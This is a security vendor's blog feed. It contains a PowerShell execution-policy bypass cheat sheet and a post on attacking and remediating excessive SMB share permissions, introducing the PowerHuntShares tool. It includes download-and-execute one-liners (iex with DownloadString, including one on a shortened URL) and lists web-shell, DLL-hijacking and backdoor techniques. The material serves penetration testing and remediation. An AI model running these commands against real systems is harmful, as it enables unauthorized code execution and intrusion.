A great use case example of this is to discover development subdomains (dev.netspi.com, stage.netspi.com, or prod.netspi.com, etc.) where sensitive projects or intellectual property might be located, and unintentionally exposed externally.

Another common use case for these types of features could be to detect sub domains that have been hijacked by malicious adversaries in an attempt to steal sensitive customer or employee information.

This is a quick summary of a few new features and benefits included in our Attack Surface Management offering, however if you would like to learn more, we encourage you to read our release notes, or contact us for a demo.

Penetration Testing as a Service (Resolve™

NetSPI’s Resolve, our penetration testing as a service (PTaaS) platform, has been an industry leader for years, allowing users to visualize their test results and streamline remediation by up to 40%. This product would not be able to remain a leader without continued updates from our product development teams.

Recently, we have been focused on delivering updates to enhance the user experience and make data within the platform to be more accessible and easily leveraged within other security team processes and platforms.

AND/OR Logic

Previously, when users created filters in the grid, AND Logic, as well as OR Logic could be used on filtered search results. We are excited to introduce AND/OR Logic to filters, allowing users to combine both AND Logic and OR Logic to deliver more detailed results to their security teams or business leaders.

Automated Instance State Workflow

Finally, we have introduced automated instance state workflows to include bulk edits. Previously, this was only applicable while updating individual instance states. This change improves efficiencies within the Resolve platform for entire vulnerability management teams.

This is a quick summary of a few new features and benefits included in our PTaaS solution, however if you would like to learn more, we encourage you to read our release notes, or contact us for a demo.

This blog post is a part of our offensive security solutions update series. Stay tuned for additional innovations within Resolve (PTaaS), ASM (Attack Surface Management), and BAS (Breach and Attack Simulation).


Read past solutions update blogs: 

The post NetSPI Offensive Security Solutions Updates: Q1 2023 appeared first on NetSPI.

]]>
15 Ways to Bypass the PowerShell Execution Policy https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/ Fri, 16 Dec 2022 19:21:46 +0000 https://www.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ By default, PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. In this blog I’ll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on the system.

The post 15 Ways to Bypass the PowerShell Execution Policy appeared first on NetSPI.

]]>
By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. This can be a hurdle for penetration testers, sysadmins, and developers, but it doesn’t have to be. In this blog I’ll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on the system. I’m sure there are many techniques that I’ve missed (or simply don’t know about), but hopefully this cheat sheet will offer a good start for those who need it.

What is the PowerShell Execution Policy?

The PowerShell execution policy is the setting that determines which type of PowerShell scripts (if any) can be run on the system. By default it is set to “Restricted“, which basically means none. However, it’s important to understand that the setting was never meant to be a security control. Instead, it was intended to prevent administrators from shooting themselves in the foot. That’s why there are so many options for working around it. Including a few that Microsoft has provided. For more information on the execution policy settings and other default security controls in PowerShell I suggest reading Carlos Perez’s blog. He provides a nice overview.

Why Would I Want to Bypass the Execution Policy?

Automation seems to be one of the more common responses I hear from people, but below are a few other reasons PowerShell has become so popular with administrators, pentesters, and hackers. PowerShell is:

  • Native to Windows
  • Able to call the Windows API
  • Able to run commands without writing to the disk
  • Able to avoid detection by Anti-virus
  • Already flagged as “trusted” by most application white list solutions
  • A medium used to write many open source pentest toolkits

How to View the Execution Policy

Before being able to use all of the wonderful features PowerShell has to offer, attackers may have to bypass the “Restricted” execution policy. You can take a look at the current configuration with the “Get-ExectionPolicy” PowerShell command. If you’re looking at the setting for the first time it’s likely set to “Restricted” as shown below.

PS C:> Get-ExecutionPolicy
Administrator: Windows Powershell

It’s also worth noting that the execution policy can be set at different levels on the system. To view a list of them use the command below. For more information you can check out Microsoft’s “Set-ExecutionPolicy” page here.

Get-ExecutionPolicy -List | Format-Table -AutoSize
Powershell Bypass - ExecutionPolicy

Lab Setup Notes

In the examples below I will use a script named runme.ps1 that contains the following PowerShell command to write a message to the console:

Write-Host "My voice is my passport, verify me."

When I attempt to execute it on a system configured with the default execution policy I get the following error: Powershell Bypass - Set-ExecutionPolicy Restricted

If your current policy is too open and you want to make it more restrictive to test the techniques below, then run the command “Set-ExecutionPolicy Restricted” from an administrator PowerShell console. Ok – enough of my babbling – below are 15 ways to bypass the PowerShell execution policy restrictions.

Bypassing the PowerShell Execution Policy

1. Paste the Script into an Interactive PowerShell Console

Copy and paste your PowerShell script into an interactive console as shown below. However, keep in mind that you will be limited by your current user’s privileges. This is the most basic example and can be handy for running quick scripts when you have an interactive console. Also, this technique does not result in a configuration change or require writing to disk.

Interactive PowerShell Console

2. Echo the Script and Pipe it to PowerShell Standard In

Simply ECHO your script into PowerShell standard input. This technique does not result in a configuration change or require writing to disk.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
Powershell Bypass - Script Echo

3. Read Script from a File and Pipe to PowerShell Standard In

Use the Windows “type” command or PowerShell “Get-Content” command to read your script from the disk and pipe it into PowerShell standard input. This technique does not result in a configuration change, but does require writing your script to disk. However, you could read it from a network share if you’re trying to avoid writing to the disk.

Example 1: Get-Content PowerShell command

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Powershell Bypass - Get-Content Command

Example 2: Type command

TYPE .runme.ps1 | PowerShell.exe -noprofile -
Powershell Bypass - Type command

4. Download Script from URL and Execute with Invoke Expression

This technique can be used to download a PowerShell script from the internet and execute it without having to write to disk. It also doesn’t result in any configuration changes. I have seen it used in many creative ways, but most recently saw it being referenced in a nice PowerSploit blog by Matt Graeber.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
Powershell Bypass - Execute with Invoke Expression

5. Use the Command Switch

This technique is very similar to executing a script via copy and paste, but it can be done without the interactive console. It’s nice for simple script execution, but more complex scripts usually end up with parsing errors. This technique does not result in a configuration change or require writing to disk.

Example 1: Full command

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Powershell Bypass - Command Switch

Example 2: Short command

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

It may also be worth noting that you can place these types of PowerShell commands into batch files and place them into autorun locations (like the all users startup folder) to help during privilege escalation.

6. Use the EncodeCommand Switch

This is very similar to the “Command” switch, but all scripts are provided as a Unicode/base64 encoded string. Encoding your script in this way helps to avoid all those nasty parsing errors that you run into when using the “Command” switch. This technique does not result in a configuration change or require writing to disk. The sample below was taken from Posh-SecMod. The same toolkit includes a nice little compression method for reducing the size of the encoded commands if they start getting too long.

Example 1: Full command

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand
Powershell Bypass - EncodeCommand Switch

Example 2: Short command using encoded string

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Use the Invoke-Command Command

This is a fun option that I came across on the Obscuresec blog. It’s typically executed through an interactive PowerShell console or one liner using the “Command” switch, but the cool thing is that it can be used to execute commands against remote systems where PowerShell remoting has been enabled. This technique does not result in a configuration change or require writing to disk.

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
Powershell Bypass - Invoke-Command Command

Based on the Obscuresec blog, the command below can also be used to grab the execution policy from a remote computer and apply it to the local computer.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Use the Invoke-Expression Command

This is another one that’s typically executed through an interactive PowerShell console or one liner using the “Command” switch. This technique does not result in a configuration change or require writing to disk. Below I’ve listed are a few common ways to use Invoke-Expression to bypass the execution policy.

Example 1: Full command using Get-Content

Get-Content .runme.ps1 | Invoke-Expression
Powershell Bypass - Invoke-Expression Command

Example 2: Short command using Get-Content

GC .runme.ps1 | iex

9. Use the “Bypass” Execution Policy Flag

This is a nice flag added by Microsoft that will bypass the execution policy when you’re executing scripts from a file. When this flag is used Microsoft states that “Nothing is blocked and there are no warnings or prompts”. This technique does not result in a configuration change or require writing to disk.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
ExecutionPolicy Bypass

10. Use the “Unrestricted” Execution Policy Flag

This similar to the “Bypass” flag. However, when this flag is used Microsoft states that it “Loads all configuration files and runs all scripts. If you run an unsigned script that was downloaded from the Internet, you are prompted for permission before it runs.” This technique does not result in a configuration change or require writing to disk.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
Powershell Bypass - Swap out the AuthorizationManager

11. Use the “Remote-Signed” Execution Policy Flag

Create your script then follow the tutorial written by Carlos Perez to sign it. Finally,run it using the command below:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. Disable ExecutionPolicy by Swapping out the AuthorizationManager

This is one of the more creative approaches. The function below can be executed via an interactive PowerShell console or by using the “command” switch. Once the function is called it will swap out the “AuthorizationManager” with null. As a result, the execution policy is essentially set to unrestricted for the remainder of the session. This technique does not result in a persistant configuration change or require writing to disk. However, it the change will be applied for the duration of the session.

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} 

Disable-ExecutionPolicy  .runme.ps1
Powershell Bypass - Process Scope

13. Set the ExcutionPolicy for the Process Scope

As we saw in the introduction, the execution policy can be applied at many levels. This includes the process which you have control over. Using this technique the execution policy can be set to unrestricted for the duration of your Session. Also, it does not result in a configuration change, or require writing to the disk.

Set-ExecutionPolicy Bypass -Scope Process
Powershell Bypass - Set the ExcutionPolicy

14. Set the ExcutionPolicy for the CurrentUser Scope via Command

This option is similar to the process scope, but applies the setting to the current user’s environment persistently by modifying a registry key. Also, it does not result in a configuration change, or require writing to the disk.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
CurrentUser Scope via the

15. Set the ExcutionPolicy for the CurrentUser Scope via the Registry

In this example I’ve shown how to change the execution policy for the current user’s environment persistently by modifying a registry key directly.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell
Powershell Bypass – Folder Structure

Wrap Up Summary

I think the theme here is that the execution policy doesn’t have to be a hurdle for developers, admins, or penetration testing. Microsoft never intended it to be a security control. Which is why there are so many options for bypassing it. Microsoft was nice enough to provide some native options and the security community has also come up with some really fun tricks. Thanks to all of those people who have contributed through blogs and presentations. To the rest, good luck in all your PowerShell adventures and don’t forget to hack responsibly. 😉

Looking for a strategic partner to critically test your Windows systems? Explore NetSPI’s network penetration testing services.

References

The post 15 Ways to Bypass the PowerShell Execution Policy appeared first on NetSPI.

]]>
Attacking and Remediating Excessive Network Share Permissions in Active Directory Environments https://www.netspi.com/blog/technical-blog/adversary-simulation/network-share-permissions-powerhuntshares/ Tue, 09 Aug 2022 13:00:00 +0000 https://www.netspi.com/network-share-permissions-powerhuntshares/ Learn how to quickly inventory, attack, and remediate network shares configured with excessive permissions assigned to SMB shares in Active Directory environments.

The post Attacking and Remediating Excessive Network Share Permissions in Active Directory Environments appeared first on NetSPI.

]]>
Introduction 

In this blog, I’ll explain how to quickly inventory, exploit, and remediate network shares configured with excessive permissions at scale in Active Directory environments. Excessive share permissions represent a risk that can lead to data exposure, privilege escalation, and ransomware attacks within enterprise environments. So, I’ll also be exploring why network shares configured with excessive permissions are still plaguing most environments after 20 years of mainstream vulnerability management and penetration testing.

Finally, I’ll share a new open-source tool called PowerHuntShares that can help streamline share hunting and remediation of excessive SMB share permissions in Active Directory environments. This content is also available in a presentation format here. Or, if you’d like to hear me talk about this topic, check out our webinar, How to Evaluate Active Directory SMB Shares at Scale.

This should be interesting to people responsible for managing network share access in Active Directory environments (Identity and access management/IAM teams) and the red team/penetration testers tasked with exploiting that access. 

TLDR; We can leverage Active Directory to help create an inventory of systems and shares. Shares configured with excessive permissions can lead to remote code execution (RCE) in a variety of ways, remediation efforts can be expedited through simple data grouping techniques, and malicious share scanning can be detected with a few common event IDs and a little correlation (always easier said than done).

Table of Contents: 

The Problem(s)
Network Share Permissions Inheritance Blind Spots
Network Share Inventory
Network Share Exploitation
Network Share Remediation
Introducing PowerHuntShares
Wrap Up

The Problem(s) 

If only it were just one problem. I don’t know a penetration tester that doesn’t have a war story involving unauthorized network share access. In the real world, that story typically ends with the deployment of ransomware and double extortion. That’s why it’s important we try to understand some of the root causes behind this issue. Below is a summary of the root causes that often lead to massive network share exposure in most Active Directory environments. 

Broken Asset Management 

Tracking live systems in enterprise environments is difficult and tracking an ever-changing share inventory and owners is even more difficult. Even if the Identity and Access Management (IAM) team finds a network share through discovery, it begs the questions:

  1. Who owns it?
  2. What applications or business processes does it support?
  3. Can we remove high risk Access Control Entries (ACE)?
  4. Can we remove the share all together?

Most of those questions can be answered if you have a functioning Configuration Management Database (CMDB). Unfortunately, not everyone does.

Broken Vulnerability Management 

Many vulnerability management programs were never built to identify network share configurations that provide unauthorized access to authenticated domain users. Much of their focus has been on identifying classic vulnerabilities (missing patches, weak passwords, and application issues) and prioritizing efforts around vulnerabilities that don’t require authentication, which is of course not all bad.

However, based on my observations, the industry has only taken a deep interest in the Active Directory ecosystem in the last five years. This seems to be largely due to increased exposure and awareness of Active Directory (AD) attacks which are heavily dependent on configurations and not missing patches.

I’m also not saying IAM teams haven’t been working hard to do their jobs, but in many cases, they get bogged down in what equates to group management and forget to (or don’t have time to) look at the actual assets that global/common groups have access to. That is a deep well, but today’s focus is on the network shares.

Penetration testers have always known shares are a risk, but implementing, managing, and evaluating least privilege in Active Directory environments is a non-trivial challenge. Even with increased interest in the security community, very few solutions can effectively inventory and evaluate share access for an entire Active Directory domain (or multiple domains). 

Based on my experience, very few organizations perform authenticated vulnerability scans to begin with, but even those that do seem to lack findings for common excessive privileges, inherited permissions, and distilled summary data for the environment that provides the insights that most IAM teams need to make good decisions. There has been an overreliance on those types of tools for a long time because many companies have the impression that they provide more coverage than they do regarding network share permissions. 

In short, good asset inventory and attack surface management paves the way for better vulnerability management coverage – and many companies aren’t quite there yet. 

Not Considering Segmentation Boundaries 

Most large environments have host, network, and Active Directory domain boundaries that need to be considered when performing any type of authenticated scanning or agent deployment. Companies trying to accurately inventory and evaluate network shares often miss things because they do not consider the boundaries isolating their assets. Make sure to work within those boundaries when evaluating assets. 

The Cloud is Here!

The cloud is here, and it supports all kinds of fantastic file storage mediums, but that doesn’t mean that on premise network shares disappear. Companies need to make sure they are still looking backward as they continue to look forward regarding security controls on file shares. For many companies, it may be the better part of a decade before they can migrate the bulk of their file storage infrastructure into their favorite floating mass of condensed water vapor – you know, the cloud. 😜

Misunderstanding NTFS and Share Permissions 

There are a lot of bad practices related to share permission management that have gotten absorbed into IT culture over the years simply because people don’t understand how they work. One of the biggest contributors to excessive share permissions is privilege inheritance through native nested group memberships. This issue is not limited to network shares either. We have been abusing the same privilege inheritance issues for over a decade to get access to SQL Server Instances. In the next sections, I’ll provide an overview of the issue and how it can be exploited in the context of network shares.

Network Share Permissions Inheritance Blind Spots 

A network share is just a medium for making local files available to remote users on the network, but two sets of permissions control a remote user’s access to the shared files. To understand the privilege inheritance problem, it helps to do a quick refresher on how NTFS and share permissions work together on Windows systems. Let’s explore the basics. 

NTFS Permissions 

  • Used to control access to the local NTFS file system 
  • Can affect local and remote users 

Share Permissions 

  • Used to control access to shared files and folders 
  • Only affects remote users 

In short, from a remote user perspective, network share permissions (remote) are reviewed first, then NTFS permissions (local) are reviewed second, but the most restrictive permission always wins regardless. Below is a simple example showing that John has Full Control permissions on the share, but only Read permissions on the associated local folder. Most restrictive wins, so John is only provided read access to the files made available remotely through the shared folder.

A diagram of NTFS Permissions and Share Permissions showcasing that the most restrictive permission wins.

So those are the basics. The big idea being that the most restrictive ACL wins. However, there are some nuances that have to do with local groups that inherit Domain Groups. To get our heads around that, let’s touch briefly on the affected local groups. 

Everyone

The everyone group provides all authenticated and anonymous users with access in most configurations. This group is overused in many environments and often results in excessive privilege. 

Builtin\Users 

New local users are added to it by default. When the system is not joined to a domain it operates as you would expect it to. 

Authenticated Users

This group is nested in the Builtin\Users group. When a system is not joined to the domain, it doesn’t do much in the way of influencing access. However, when a system is joined to an Active Directory domain, Authenticated Users implicitly includes the “Domain Users” and “Domain Computers” groups. For example, an IT administrator may think they’re only providing remote share access to the Builtin\Users group, when in fact they are giving it to everyone on the domain. Below is a diagram to help illustrates this scenario.

Builtin\Users group includes Domain Users when domain joined.

The lesson here is that a small misunderstanding around local and domain group relationships can lead to unauthorized access and potential risk. The next section will cover how to inventory shares and their Access-Control Lists (ACLs) so we can target and remediate them.

Network Share Inventory 

As it turns out, getting a quick inventory of your domain computers and associated shares isn’t that hard thanks to several native and open-source tools. The trick is to grab enough information to answer those who, what, where, when, and how questions needed for remediation efforts.
The discovery of shares and permissions boils down to a few basic steps: 

  1. Query Active Directory via Lightweight Directory Access Protocol (LDAP) to get a list of domain computers. PowerShell commands like Get-AdComputer (Active Directory PowerShell Module) and Get-DomainComputer (PowerSploit) can help a lot there.
  2. Confirm connectivity to those computers on TCP port 445. Nmap is a free and easy-to-use tool for this purpose. There are also several open-source TCP port scanning scripts out there if you want to stick with PowerShell.
  3. Query for shares, share permissions, and other information using your preferred method. PowerShell tools like Get-SMBShare, Get-SmbShareAccess, Get-ACL, and Get-ObjectAcl (PowerSploit) are quite helpful.
  4. Other information that will help remediation efforts later includes the folder owner, file count, file listing, file listing hash, and computer IP address. You may also find some of that information in your company’s CMDB. PowerShell commands like Get-ChildItem and Resolve-DnsNameSome can also help gather some of that information.

PowerHuntShares can be used to automate the tasks above (covered in the last section), but regardless of what you use for discovery, understanding how unauthorized share access can be abused will help your team prioritize remediation efforts.

Network Share Exploitation 

Network shares configured with excessive permissions can be exploited in several ways, but the nature of the share and specific share permissions will ultimately dictate which attacks can be executed. Below, I’ve provided an overview of some of the most common attacks that leverage read and write access to shares to help get you started. 

Read Access Abuse 

Ransomware and other threat actors often leverage excessive read permissions on shares to access sensitive data like Personal Identifiable Information (PII) or intellectual property (source code, engineering designs, investment strategies, proprietary formulas, acquisition information, etc.) that they can exploit, sell, or extort your company with. Additionally, we have found during penetration tests that passwords are commonly stored in cleartext and can be used to log into databases and servers. This means that in some cases, read access to a share can end in RCE.

Below is a simple example of how excessive read access to a network share can result in RCE: 

  1. The attacker compromises a domain user.
  2. The attacker identifies a shared folder for a web root, code backup, or dev ops directory.
  3. The attacker identifies passwords (often database connection strings) stored in cleartext.
  4. The attacker uses the database password to connect to the database server.
  5. The attacker uses the native database functionality to obtain local administrative privileges to the database server’s operating system.
  6. The attacker leverages shared database service account to access other database servers. 

Below is a simple illustration of that process: 

A 6-step process of how excessive read access to a network share can result in remote code execution (RCE).

Write Access Abuse 

Write access provides all the benefits of read access with the bonus of being able to add, remove, modify, and encrypt files (like Ransomware threat actors). Write access also offers more potential to turn share access into RCE. Below is a list of ten of the more common RCE options: 

  1. Write a web shell to a web root folder, which can be accessed via the web server.
  2. Replace or modify application EXE and DLL files to include a backdoor.
  3. Write EXE or DLL files to paths used by applications and services that are unquoted.
  4. Write a DLL to application folders to perform DLL hijacking. You can use Koppeling, written by NetSPI’s very own Director of Research Nick Landers.
  5. Write a DLL and config file to application folders to perform appdomain hijacking for .net applications.
  6. Write an executable or script to the “All Users” Startup folder to launch them at the next logon.
  7. Modify files executed by scheduled tasks.
  8. Modify the PowerShell startup profile to include a backdoor.
  9. Modify Microsoft office templates to include a backdoor.
  10. Write a malicious LNK file to capture or relay the NetNTLM hashes. 

You may have noticed that many of the techniques I listed are also commonly used for persistence and lateral movement, which is a great reminder that old techniques can have more than one use case. 

Below is a simple diagram that attempts to illustrate the basic web shell example.

  1. The attacker compromises a domain user.
  2. The attacker scans for shares, finds a wwwroot directory, and uploads a web shell. The wwwroot directory stores all the files used by the web application hosted on the target IIS server. So, you can think of the web shell as something that extends the functionality of the published web application.
  3. Using a standard web browser, the attacker can now access the uploaded web shell file hosted by the target IIS web server.
  4. The attacker uses the web shell access to execute commands on the operating systems as the web server service account.
  5. The web server service account may have additional privileges to access other resources on the network.
A 5-step diagram showing RCE using a web shell.

Below is another simplified diagram showing the generic steps that can be used to execute the attacks from my top 10 list. Let’s pay attention to the C$ share being abused. The C$ share is a default hidden share in Windows that should not be accessible to standard domain users. It maps to the C drive, which typically includes all the files on the system. Unfortunately, devOops, application deployments, and single user misconfigurations accidentally (or intently) make the C$ share available to all domain users in more environments than you might think. During our penetration test, we perform full SMB share audits for domain joined systems, and we have found that we end up with write access to a C$ share more than half the time.

A simplified diagram based on the list of 10 common remote code execution (RCE) options.

Network Share Remediation 

Tracking down system owners, applications, and valid business cases during excessive share remediation efforts can be a huge pain for IAM teams. For a large business, it can mean sorting through hundreds of thousands of share ACLs. So having ways to group and prioritize shares during that effort can be a huge time saver. 

I’ve found that the trick to successful grouping is collecting the right data. To determine what data to collect, I ask myself the standard who, what, where, when, and how questions and then determine where I may be able to get that data from there. 

What shares are exposed? 

  • Share Name: Sometimes, the share name alone can indicate the type of data exposed including high risk shares like C$, ADMIN$, and wwwroot.
  • Share File Count: Directories with no files can be a way to prioritize share remediation when you may be trying to prioritize high-risk shares first.
  • Directory List: Similar to share name, the folders and files in a shared directory can often tell you a lot about context.
  • Directory List Hash: This is simply a hash of the directory listing. While not a hard requirement, it can make identifying and comparing directory listing that are the same a little easier. 

Who has access to them? 

  • Share ACL: This will help show what access users have and can be filtered for known high-risk groups or large internal groups.
  • NTFS ACL: This will help show what access users have and can be filtered for known high-risk groups or large internal groups. 

When were they created? 

  • Folder Creation Date: Grouping or clustering creation dates on a timeline can reveal trends that can be tied to business units, applications, and processes that may have introduced excessive share privileges in the past. 

Who created them? 

  • Folder Owner: The folder owner can sometimes lead you to the department or business unit that owns the system, application, or process that created/uses the share.
  • Hostname: Hostname can indicate location and ownership if standardized naming conventions are used. 

Where are they? 

  • Computer Name: The computer name that the hosts share can often be used to determine a lot of information like department and location if a standardized naming convention is used.
  • IP Address: Similar to computer names, subnets are also commonly allocated to computers that do specific things. In many environments, that allocation is documented in Active Directory and can be cross referenced. 

If we collect all of that information during discovery, we can use it to perform grouping based on share name, owner, subnet, folder list, and folder list hash so we can identify large chunks of related shares that can be remediated at once. Don’t want to write the code for that yourself? I wrote PowerHuntShares to help you out.

Introducing PowerHuntShares 

PowerHuntShares is designed to automatically inventory, analyze, and report excessive privilege assigned to SMB shares on Active Directory domain joined computers. It is intended to be used by IAM and other security teams to gain a better understanding of their SMB Share attack surface and provide data insights to help group and prioritize share remediation efforts. Below is a quick guide to PowerHuntShares setup, execution (collection & analysis), and reporting. 

Setup 

1. Download the project from https://github.com/NetSPI/Powerhuntshares.

2. From a non-domain system you can load it with the following command:

runas /netonly /user:domain\user PowerShell.exe 
Set-ExecutionPolicy bypass -scope process
Import-Module Invoke-HuntSMBShares.ps1 

Alternatively, you can load it directly from the internet using the following PowerShell script. 

[System.Net.ServicePointManager]::ServerCertificateValidation
Callback = {$true} 

[Net.ServicePointManager]::SecurityProtocol =[Net.Security
ProtocolType]::Tls12 

 
IEX(New-Object System.Net.WebClient).DownloadString
("https://raw.githubusercontent.com/NetSPI/
PowerHuntShares/main/PowerHuntShares.psm1") 

Collection

The Invoke-HuntSMBShares collection function wraps a few modified functions from PowerView and Invoke-Parallel. The modifications grab additional information, automate common task sequences, and generate summary data for the reports. Regardless, a big shout out for the nice work done by Warren F. and Will Schroeder (however long ago). Below are some command examples. 

Run from domain joined system 
Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test
Run from a non-domain joined system
runas /netonly /user:domain\user PowerShell.exe
Invoke-HuntSMBShares -Threads 100 -RunSpaceTimeOut 10` 
-OutputDirectory c:\folder\`
-DomainController 10.1.1.1` 
-Credential domain\user
=============================================================== 
PowerHuntShares
=============================================================== 
 This function automates the following tasks:

 o Determine current computer's domain
 o Enumerate domain computers
 o Filter for computers that respond to ping requests
 o Filter for computers that have TCP 445 open and accessible
 o Enumerate SMB shares
 o Enumerate SMB share permissions
 o Identify shares with potentially excessive privileges
 o Identify shares that provide reads & write access
 o Identify shares that are high risk
 o Identify common share owners, names, & directory listings
 o Generate creation, last written, & last accessed timelines
 o Generate html summary report and detailed csv files

 Note: This can take hours to run in large environments.
---------------------------------------------------------------
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---------------------------------------------------------------
SHARE DISCOVERY
--------------------------------------------------------------- 
[*][03/01/2021 09:35] Scan Start
[*][03/01/2021 09:35] Output Directory: c:\temp\smbshares\SmbShareHunt-03012021093504
[*][03/01/2021 09:35] Successful connection to domain controller: dc1.demo.local
[*][03/01/2021 09:35] Performing LDAP query for computers associated with the demo.local domain
[*][03/01/2021 09:35] - 245 computers found
[*][03/01/2021 09:35] Pinging 245 computers
[*][03/01/2021 09:35] - 55 computers responded to ping requests.
[*][03/01/2021 09:35] Checking if TCP Port 445 is open on 55 computers
[*][03/01/2021 09:36] - 49 computers have TCP port 445 open.
[*][03/01/2021 09:36] Getting a list of SMB shares from 49 computers
[*][03/01/2021 09:36] - 217 SMB shares were found.
[*][03/01/2021 09:36] Getting share permissions from 217 SMB shares
[*][03/01/2021 09:37] - 374 share permissions were enumerated.
[*][03/01/2021 09:37] Getting directory listings from 33 SMB shares
[*][03/01/2021 09:37] - Targeting up to 3 nested directory levels
[*][03/01/2021 09:37] - 563 files and folders were enumerated.
[*][03/01/2021 09:37] Identifying potentially excessive share permissions
[*][03/01/2021 09:37] - 33 potentially excessive privileges were found across 12 systems.
[*][03/01/2021 09:37] Scan Complete
--------------------------------------------------------------- 
SHARE ANALYSIS
--------------------------------------------------------------- 
[*][03/01/2021 09:37] Analysis Start
[*][03/01/2021 09:37] - 14 shares can be read across 12 systems.
[*][03/01/2021 09:37] - 1 shares can be written to across 1 systems.
[*][03/01/2021 09:37] - 46 shares are considered non-default across 32 systems.
[*][03/01/2021 09:37] - 0 shares are considered high risk across 0 systems
[*][03/01/2021 09:37] - Identified top 5 owners of excessive shares.
[*][03/01/2021 09:37] - Identified top 5 share groups.
[*][03/01/2021 09:37] - Identified top 5 share names.
[*][03/01/2021 09:37] - Identified shares created in last 90 days.
[*][03/01/2021 09:37] - Identified shares accessed in last 90 days.
[*][03/01/2021 09:37] - Identified shares modified in last 90 days.
[*][03/01/2021 09:37] Analysis Complete
--------------------------------------------------------------- 
SHARE REPORT SUMMARY
--------------------------------------------------------------- 
[*][03/01/2021 09:37] Domain: demo.local
[*][03/01/2021 09:37] Start time: 03/01/2021 09:35:04
[*][03/01/2021 09:37] End time: 03/01/2021 09:37:27
[*][03/01/2021 09:37] Run time: 00:02:23.2759086
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] COMPUTER SUMMARY
[*][03/01/2021 09:37] - 245 domain computers found.
[*][03/01/2021 09:37] - 55 (22.45%) domain computers responded to ping.
[*][03/01/2021 09:37] - 49 (20.00%) domain computers had TCP port 445 accessible.
[*][03/01/2021 09:37] - 32 (13.06%) domain computers had shares that were non-default.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares with potentially excessive privileges.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.41%) domain computers had shares that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) domain computers had shares that are HIGH RISK.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] SHARE SUMMARY
[*][03/01/2021 09:37] - 217 shares were found. We expect a minimum of 98 shares
[*][03/01/2021 09:37]   because 49 systems had open ports and there are typically two default shares.
[*][03/01/2021 09:37] - 46 (21.20%) shares across 32 systems were non-default.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems are configured with 33 potentially excessive ACLs.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems allowed READ access.
[*][03/01/2021 09:37] - 1 (0.46%) shares across 1 systems allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) shares across 0 systems are considered HIGH RISK.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] SHARE ACL SUMMARY
[*][03/01/2021 09:37] - 374 ACLs were found.
[*][03/01/2021 09:37] - 374 (100.00%) ACLs were associated with non-default shares.
[*][03/01/2021 09:37] - 33 (8.82%) ACLs were found to be potentially excessive.
[*][03/01/2021 09:37] - 32 (8.56%) ACLs were found that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.27%) ACLs were found that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) ACLs were found that are associated with HIGH RISK share names.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] - The 5 most common share names are:
[*][03/01/2021 09:37] - 9 of 14 (64.29%) discovered shares are associated with the top 5 share names.
[*][03/01/2021 09:37]   - 4 backup
[*][03/01/2021 09:37]   - 2 ssms
[*][03/01/2021 09:37]   - 1 test2
[*][03/01/2021 09:37]   - 1 test1
[*][03/01/2021 09:37]   - 1 users
[*] ----------------------------------------------- 

Analysis

PowerHuntShares will inventory SMB share ACLs configured with “excessive privileges” and highlight “high risk” ACLs. Below is how those are defined in this context.

Excessive Privileges 

Excessive read and write share permissions have been defined as any network share ACL containing an explicit ACE (Access Control Entry) for the “Everyone”, “Authenticated Users”, “BUILTIN\Users”, “Domain Users”, or “Domain Computers” groups. They all provide domain users access to the affected shares due to privilege inheritance issues.

High Risk Shares 

In the context of this report, high-risk shares have been defined as shares that provide unauthorized remote access to a system or application. By default, that includes wwwroot, inetpub, c, and c$ shares. However, additional exposures may exist that are not called out beyond that.

Reporting

The script will produce an HTML report, csv data files, and html files.

HTML Report 

The HTML report should have links to all the content. Below is a quick screenshot of the dashboard. It includes summary data at the computer, share, and share ACL level. It also has a fun share creation timeline so you can identify those share creation clusters mentioned earlier. It was my first attempt at generating that type of HTML/CSS with PowerShell, so while it could be better, at least it is a functional first try. 😊 It also includes data grouping summaries in the “data insights” section. 
 
